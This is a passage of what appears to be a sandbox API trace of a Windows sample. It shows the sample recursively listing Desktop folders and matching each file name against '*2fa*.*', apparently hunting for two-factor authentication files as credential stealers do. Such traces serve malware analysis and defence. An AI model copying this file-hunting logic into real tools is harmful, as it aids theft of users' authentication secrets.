Flags=0x0, Size=0x46) returned 0x33ab838 [0099.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", cchWideChar=70, lpMultiByteStr=0x33ab838, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\RlIHjPIHGxNLKdZtxgXD.mkv", lpUsedDefaultChar=0x0) returned 70 [0099.634] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa820 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab838 | out: hHeap=0x2110000) returned 1 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.634] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21130c0 [0099.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x21130c0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.634] PathMatchSpecW (pszFile="RlIHjPIHGxNLKdZtxgXD.mkv", pszSpec="*2fa*.*") returned 0 [0099.634] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa820 | out: hHeap=0x2110000) returned 1 [0099.634] FindNextFileW (in: hFindFile=0x6d18d8, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7891300, ftCreationTime.dwHighDateTime=0x1d7ae3e, ftLastAccessTime.dwLowDateTime=0xd42823d0, ftLastAccessTime.dwHighDateTime=0x1d7b058, ftLastWriteTime.dwLowDateTime=0xd42823d0, ftLastWriteTime.dwHighDateTime=0x1d7b058, nFileSizeHigh=0x0, nFileSizeLow=0x749e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RlIHjPIHGxNLKdZtxgXD.mkv", cAlternateFileName="RLIHJP~1.MKV")) returned 0 [0099.635] FindClose (in: hFindFile=0x6d18d8 | out: hFindFile=0x6d18d8) returned 1 [0099.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpUsedDefaultChar=0x0) returned 45 [0099.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113060 [0099.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.635] PathMatchSpecW (pszFile="FfCPM", pszSpec="*2fa*.*") returned 0 [0099.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.635] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73f7660, ftCreationTime.dwHighDateTime=0x1d7a5a5, ftLastAccessTime.dwLowDateTime=0x140c8d40, ftLastAccessTime.dwHighDateTime=0x1d7a9e9, ftLastWriteTime.dwLowDateTime=0x140c8d40, ftLastWriteTime.dwHighDateTime=0x1d7a9e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="fw4-.avi", cAlternateFileName="")) returned 1 [0099.635] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\fw4-.avi", lpUsedDefaultChar=0x0) returned 48 [0099.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113078, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113078 | out: hHeap=0x2110000) returned 1 [0099.636] PathMatchSpecW (pszFile="fw4-.avi", pszSpec="*2fa*.*") returned 0 [0099.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.636] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21cb9ee0, ftCreationTime.dwHighDateTime=0x1d7a858, ftLastAccessTime.dwLowDateTime=0x7ae5b3a0, ftLastAccessTime.dwHighDateTime=0x1d7ab26, ftLastWriteTime.dwLowDateTime=0x7ae5b3a0, ftLastWriteTime.dwHighDateTime=0x1d7ab26, nFileSizeHigh=0x0, nFileSizeLow=0x12842, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tc9-j3lGUjaG6GJI.png", cAlternateFileName="TC9-J3~1.PNG")) returned 1 [0099.636] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", cchWideChar=60, lpMultiByteStr=0x2112a50, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\Tc9-j3lGUjaG6GJI.png", lpUsedDefaultChar=0x0) returned 60 [0099.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113048, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.636] PathMatchSpecW (pszFile="Tc9-j3lGUjaG6GJI.png", pszSpec="*2fa*.*") returned 0 [0099.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.636] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 1 [0099.636] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x33aaaa0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2112f88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f88 | out: hHeap=0x2110000) returned 1 [0099.636] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*2fa*.*") returned 0 [0099.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.636] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 0 [0099.636] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x211ac30, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpUsedDefaultChar=0x0) returned 39 [0099.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113138, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.637] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.637] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*2fa*.*") returned 0 [0099.637] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.637] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaab4640, ftCreationTime.dwHighDateTime=0x1d7a7ca, ftLastAccessTime.dwLowDateTime=0xae9fe3b0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0xae9fe3b0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x18c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2PaM.avi", cAlternateFileName="")) returned 1 [0099.637] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", lpUsedDefaultChar=0x0) returned 41 [0099.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113018, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.637] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.637] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*2fa*.*") returned 0 [0099.637] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.637] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTVwnxmU4D", cAlternateFileName="MTVWNX~1")) returned 1 [0099.637] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.637] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.638] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.638] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x33ab4c8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", lpUsedDefaultChar=0x0) returned 65 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113048, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.638] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.638] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*2fa*.*") returned 0 [0099.638] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa7c8 | out: hHeap=0x2110000) returned 1 [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x2112c48, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", lpUsedDefaultChar=0x0) returned 62 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113108, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.638] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.638] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*2fa*.*") returned 0 [0099.638] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d68 | out: hHeap=0x2110000) returned 1 [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x2112780, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", lpUsedDefaultChar=0x0) returned 61 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113018, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.639] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.639] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*2fa*.*") returned 0 [0099.639] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0099.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x33ab658, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", lpUsedDefaultChar=0x0) returned 67 [0099.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113048, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.639] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.639] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*2fa*.*") returned 0 [0099.639] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa718 | out: hHeap=0x2110000) returned 1 [0099.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpUsedDefaultChar=0x0) returned 42 [0099.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2113030, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.640] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0099.640] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*2fa*.*") returned 0 [0099.640] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.640] 